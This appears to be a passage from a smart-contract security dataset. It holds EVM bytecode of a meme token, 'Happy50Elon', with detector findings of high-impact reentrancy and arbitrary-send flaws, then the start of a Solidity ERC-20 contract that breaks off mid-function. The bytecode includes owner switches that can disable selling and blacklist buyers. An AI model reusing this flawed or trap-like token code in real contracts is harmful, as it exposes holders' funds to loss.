5b611428565b6040516104d591906135c2565b60405180910390f35b3480156104ea57600080fd5b5061050560048036038101906105009190612e23565b6114af565b60405161051291906133e5565b60405180910390f35b6060604051806060016040528060228152602001613d4c60229139905090565b600061054f610548611505565b848461150d565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105778484846116d8565b61063884610583611505565b61063385604051806060016040528060288152602001613d2460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105e9611505565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121c29092919063ffffffff16565b61150d565b600190509392505050565b61064b611505565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106cf90613502565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610744611505565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c890613502565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661082f611505565b73ffffffffffffffffffffffffffffffffffffffff161461084f57600080fd5b600047905061085d81612226565b50565b60006108aa600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612292565b9050919050565b6108b9611505565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610946576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093d90613502565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280601081526020017f48617070793530456c6f6e20f09f8e8200000000000000000000000000000000815250905090565b6000610a7e610a77611505565b84846116d8565b6001905092915050565b610a90611505565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1490613502565b60405180910390fd5b60005b8151811015610bd4576001600a6000848481518110610b68577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610bcc906138d8565b915050610b20565b5050565b610be0611505565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6490613502565b60405180910390fd5b80600e60186101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ccb611505565b73ffffffffffffffffffffffffffffffffffffffff1614610ceb57600080fd5b6000610cf630610860565b9050610d0181612300565b50565b610d0c611505565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9090613502565b60405180910390fd5b600e60149054906101000a900460ff1615610de9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de090613582565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610e7930600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061150d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610ebf57600080fd5b505afa158015610ed3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ef79190612e4c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610f5957600080fd5b505afa158015610f6d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f919190612e4c565b6040518363ffffffff1660e01b8152600401610fae929190613332565b602060405180830381600087803b158015610fc857600080fd5b505af1158015610fdc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110009190612e4c565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061108930610860565b600080611094610a04565b426040518863ffffffff1660e01b81526004016110b696959493929190613384565b6060604051808303818588803b1580156110cf57600080fd5b505af11580156110e3573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111089190612ff8565b5050506001600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff021916908315150217905550683635c9adc5dea00000600f81905550436010819055506001600e60146101000a81548160ff0219169083151502179055506000600e60186101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161122d92919061335b565b602060405180830381600087803b15801561124757600080fd5b505af115801561125b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061127f9190612fa6565b5050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60105481565b6112e7611505565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611374576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136b90613502565b60405180910390fd5b600081116113b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ae906134c2565b60405180910390fd5b6113e660646113d883683635c9adc5dea000006125fa90919063ffffffff16565b61267590919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f5460405161141d91906135c2565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561157d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157490613562565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e490613482565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116cb91906135c2565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611748576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173f90613542565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156117b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117af90613422565b60405180910390fd5b600081116117fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117f290613522565b60405180910390fd5b611803610a04565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156118715750611841610a04565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156120ff57600e60179054906101000a900460ff1615611aa4573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156118f357503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561194d5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119a75750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611aa357600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166119ed611505565b73ffffffffffffffffffffffffffffffffffffffff161480611a635750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611a4b611505565b73ffffffffffffffffffffffffffffffffffffffff16145b611aa2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a99906135a2565b60405180910390fd5b5b5b600f54811115611ab357600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b575750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611bad5750600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611bb657600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611c615750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611cb75750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ccf5750600e60179054906101000a900460ff165b15611d705742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611d1f57600080fd5b601e42611d2c91906136f8565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6003601054611d7f91906136f8565b4311611f9f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611e315750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611e93576001600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611f9e565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611f3f5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f9d576001600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561204557600e60189054906101000a900460ff16612044576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203b90613442565b60405180910390fd5b5b600061205030610860565b9050600e60159054906101000a900460ff161580156120bd5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156120d55750600e60169054906101000a900460ff165b156120fd576120e381612300565b600047905060008111156120fb576120fa47612226565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806121a65750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156121b057600090505b6121bc848484846126bf565b50505050565b600083831115829061220a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122019190613400565b60405180910390fd5b506000838561221991906137d9565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561228e573d6000803e3d6000fd5b5050565b60006006548211156122d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122d090613462565b60405180910390fd5b60006122e36126ec565b90506122f8818461267590919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561235e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60405190808252806020026020018201604052801561238c5781602001602082028036833780820191505090505b50905030816000815181106123ca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561246c57600080fd5b505afa158015612480573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124a49190612e4c565b816001815181106124de577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061254530600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461150d565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016125a99594939291906135dd565b600060405180830381600087803b1580156125c357600080fd5b505af11580156125d7573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b60008083141561260d576000905061266f565b6000828461261b919061377f565b905082848261262a919061374e565b1461266a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612661906134e2565b60405180910390fd5b809150505b92915050565b60006126b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612717565b905092915050565b806126cd576126cc61277a565b5b6126d88484846127ab565b806126e6576126e5612976565b5b50505050565b60008060006126f9612988565b91509150612710818361267590919063ffffffff16565b9250505090565b6000808311829061275e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127559190613400565b60405180910390fd5b506000838561276d919061374e565b9050809150509392505050565b600060085414801561278e57506000600954145b15612798576127a9565b600060088190555060006009819055505b565b6000806000806000806127bd876129ea565b95509550955095509550955061281b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a5190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a9b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128fc81612af9565b6129068483612bb6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161296391906135c2565b60405180910390a3505050505050505050565b60026008819055506003600981905550565b600080600060065490506000683635c9adc5dea0000090506129be683635c9adc5dea0000060065461267590919063ffffffff16565b8210156129dd57600654683635c9adc5dea000009350935050506129e6565b81819350935050505b9091565b6000806000806000806000806000612a068a6008546012612bf0565b9250925092506000612a166126ec565b90506000806000612a298e878787612c86565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612a9383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506121c2565b905092915050565b6000808284612aaa91906136f8565b905083811015612aef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ae6906134a2565b60405180910390fd5b8091505092915050565b6000612b036126ec565b90506000612b1a82846125fa90919063ffffffff16565b9050612b6e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a9b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612bcb82600654612a5190919063ffffffff16565b600681905550612be681600754612a9b90919063ffffffff16565b6007819055505050565b600080600080612c1c6064612c0e888a6125fa90919063ffffffff16565b61267590919063ffffffff16565b90506000612c466064612c38888b6125fa90919063ffffffff16565b61267590919063ffffffff16565b90506000612c6f82612c61858c612a5190919063ffffffff16565b612a5190919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612c9f85896125fa90919063ffffffff16565b90506000612cb686896125fa90919063ffffffff16565b90506000612ccd87896125fa90919063ffffffff16565b90506000612cf682612ce88587612a5190919063ffffffff16565b612a5190919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000612d22612d1d84613677565b613652565b90508083825260208201905082856020860282011115612d4157600080fd5b60005b85811015612d715781612d578882612d7b565b845260208401935060208301925050600181019050612d44565b5050509392505050565b600081359050612d8a81613cde565b92915050565b600081519050612d9f81613cde565b92915050565b600082601f830112612db657600080fd5b8135612dc6848260208601612d0f565b91505092915050565b600081359050612dde81613cf5565b92915050565b600081519050612df381613cf5565b92915050565b600081359050612e0881613d0c565b92915050565b600081519050612e1d81613d0c565b92915050565b600060208284031215612e3557600080fd5b6000612e4384828501612d7b565b91505092915050565b600060208284031215612e5e57600080fd5b6000612e6c84828501612d90565b91505092915050565b60008060408385031215612e8857600080fd5b6000612e9685828601612d7b565b9250506020612ea785828601612d7b565b9150509250929050565b600080600060608486031215612ec657600080fd5b6000612ed486828701612d7b565b9350506020612ee586828701612d7b565b9250506040612ef686828701612df9565b9150509250925092565b60008060408385031215612f1357600080fd5b6000612f2185828601612d7b565b9250506020612f3285828601612df9565b9150509250929050565b600060208284031215612f4e57600080fd5b600082013567ffffffffffffffff811115612f6857600080fd5b612f7484828501612da5565b91505092915050565b600060208284031215612f8f57600080fd5b6000612f9d84828501612dcf565b91505092915050565b600060208284031215612fb857600080fd5b6000612fc684828501612de4565b91505092915050565b600060208284031215612fe157600080fd5b6000612fef84828501612df9565b91505092915050565b60008060006060848603121561300d57600080fd5b600061301b86828701612e0e565b935050602061302c86828701612e0e565b925050604061303d86828701612e0e565b9150509250925092565b6000613053838361305f565b60208301905092915050565b6130688161380d565b82525050565b6130778161380d565b82525050565b6000613088826136b3565b61309281856136d6565b935061309d836136a3565b8060005b838110156130ce5781516130b58882613047565b97506130c0836136c9565b9250506001810190506130a1565b5085935050505092915050565b6130e48161381f565b82525050565b6130f381613862565b82525050565b6000613104826136be565b61310e81856136e7565b935061311e818560208601613874565b613127816139ae565b840191505092915050565b600061313f6023836136e7565b915061314a826139bf565b604082019050919050565b60006131626013836136e7565b915061316d82613a0e565b602082019050919050565b6000613185602a836136e7565b915061319082613a37565b604082019050919050565b60006131a86022836136e7565b91506131b382613a86565b604082019050919050565b60006131cb601b836136e7565b91506131d682613ad5565b602082019050919050565b60006131ee601d836136e7565b91506131f982613afe565b602082019050919050565b60006132116021836136e7565b915061321c82613b27565b604082019050919050565b60006132346020836136e7565b915061323f82613b76565b602082019050919050565b60006132576029836136e7565b915061326282613b9f565b604082019050919050565b600061327a6025836136e7565b915061328582613bee565b604082019050919050565b600061329d6024836136e7565b91506132a882613c3d565b604082019050919050565b60006132c06017836136e7565b91506132cb82613c8c565b602082019050919050565b60006132e36011836136e7565b91506132ee82613cb5565b602082019050919050565b6133028161384b565b82525050565b61331181613855565b82525050565b600060208201905061332c600083018461306e565b92915050565b6000604082019050613347600083018561306e565b613354602083018461306e565b9392505050565b6000604082019050613370600083018561306e565b61337d60208301846132f9565b9392505050565b600060c082019050613399600083018961306e565b6133a660208301886132f9565b6133b360408301876130ea565b6133c060608301866130ea565b6133cd608083018561306e565b6133da60a08301846132f9565b979650505050505050565b60006020820190506133fa60008301846130db565b92915050565b6000602082019050818103600083015261341a81846130f9565b905092915050565b6000602082019050818103600083015261343b81613132565b9050919050565b6000602082019050818103600083015261345b81613155565b9050919050565b6000602082019050818103600083015261347b81613178565b9050919050565b6000602082019050818103600083015261349b8161319b565b9050919050565b600060208201905081810360008301526134bb816131be565b9050919050565b600060208201905081810360008301526134db816131e1565b9050919050565b600060208201905081810360008301526134fb81613204565b9050919050565b6000602082019050818103600083015261351b81613227565b9050919050565b6000602082019050818103600083015261353b8161324a565b9050919050565b6000602082019050818103600083015261355b8161326d565b9050919050565b6000602082019050818103600083015261357b81613290565b9050919050565b6000602082019050818103600083015261359b816132b3565b9050919050565b600060208201905081810360008301526135bb816132d6565b9050919050565b60006020820190506135d760008301846132f9565b92915050565b600060a0820190506135f260008301886132f9565b6135ff60208301876130ea565b8181036040830152613611818661307d565b9050613620606083018561306e565b61362d60808301846132f9565b9695505050505050565b600060208201905061364c6000830184613308565b92915050565b600061365c61366d565b905061366882826138a7565b919050565b6000604051905090565b600067ffffffffffffffff8211156136925761369161397f565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006137038261384b565b915061370e8361384b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561374357613742613921565b5b828201905092915050565b60006137598261384b565b91506137648361384b565b92508261377457613773613950565b5b828204905092915050565b600061378a8261384b565b91506137958361384b565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156137ce576137cd613921565b5b828202905092915050565b60006137e48261384b565b91506137ef8361384b565b92508282101561380257613801613921565b5b828203905092915050565b60006138188261382b565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061386d8261384b565b9050919050565b60005b83811015613892578082015181840152602081019050613877565b838111156138a1576000848401525b50505050565b6138b0826139ae565b810181811067ffffffffffffffff821117156138cf576138ce61397f565b5b80604052505050565b60006138e38261384b565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561391657613915613921565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f53656c6c206973206e6f7420656e61626c656400000000000000000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b613ce78161380d565b8114613cf257600080fd5b50565b613cfe8161381f565b8114613d0957600080fd5b50565b613d158161384b565b8114613d2057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654861707079203530746820456c6f6e207c20742e6d652f68617070793530656c6f6ea2646970667358221220bec72a8c706796462db73c27611f8d4d5a2f78e6ea632583f34ffabda21146b564736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,381
0x44f2cef73e136e97abc7923634ebeb447f8a48ed
pragma solidity ^0.4.25; library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // Based on the final ERC20 specification at: // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); function name() public view returns (string); function symbol() public view returns (string); function decimals() public view returns (uint8); function totalSupply() public view returns (uint256); function balanceOf(address _owner) public view returns (uint256 balance); function allowance(address _owner, address _spender) public view returns (uint256 remaining); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); } contract ERC20Token is ERC20Interface { using SafeMath for uint256; string private tokenName; string private tokenSymbol; uint8 private tokenDecimals; uint256 internal tokenTotalSupply; uint256 public publicReservedToken; uint256 public tokenConversionFactor = 10**4; mapping(address => uint256) internal balances; // Owner of account approves the transfer of an amount to another account mapping(address => mapping (address => uint256)) internal allowed; constructor(string _name, string _symbol, uint8 _decimals, uint256 _totalSupply,address _publicReserved,uint256 _publicReservedPersentage/*,address[] boardReserved,uint256[] boardReservedPersentage*/) public { tokenName = _name; tokenSymbol = _symbol; tokenDecimals = _decimals; tokenTotalSupply = _totalSupply; // The initial Public Reserved balance of tokens is assigned to the given token holder address. // from total supple 90% tokens assign to public reserved holder publicReservedToken = _totalSupply.mul(_publicReservedPersentage).div(tokenConversionFactor); balances[_publicReserved] = publicReservedToken; //10 persentage token available for board members //uint256 boardReservedToken = _totalSupply.sub(publicReservedToken); // Per EIP20, the constructor should fire a Transfer event if tokens are assigned to an account. emit Transfer(0x0, _publicReserved, publicReservedToken); /* // The initial Board Reserved balance of tokens is assigned to the given token holder address. uint256 persentageSum = 0; for(uint i=0; i<boardReserved.length; i++){ // persentageSum = persentageSum.add(boardReservedPersentage[i]); require(persentageSum <= 10000); //assigning board members persentage tokens to particular board member address. uint256 token = boardReservedToken.mul(boardReservedPersentage[i]).div(tokenConversionFactor); balances[boardReserved[i]] = token; Transfer(0x0, boardReserved[i], token); } */ } function name() public view returns (string) { return tokenName; } function symbol() public view returns (string) { return tokenSymbol; } function decimals() public view returns (uint8) { return tokenDecimals; } function totalSupply() public view returns (uint256) { return tokenTotalSupply; } // Get the token balance for account `tokenOwner` function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } function transfer(address _to, uint256 _value) public returns (bool success) { uint256 fromBalance = balances[msg.sender]; if (fromBalance < _value) return false; if (_value > 0 && msg.sender != _to) { balances[msg.sender] = fromBalance.sub(_value); balances[_to] = balances[_to].add(_value); } emit Transfer(msg.sender, _to, _value); return true; } // Send `tokens` amount of tokens from address `from` to address `to` // The transferFrom method is used for a withdraw workflow, allowing contracts to send // tokens on your behalf, for example to "deposit" to a contract address and/or to charge // fees in sub-currencies; the command should fail unless the _from account has // deliberately authorized the sender of the message via some mechanism; we propose // these standardized APIs for approval: function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { uint256 spenderAllowance = allowed [_from][msg.sender]; if 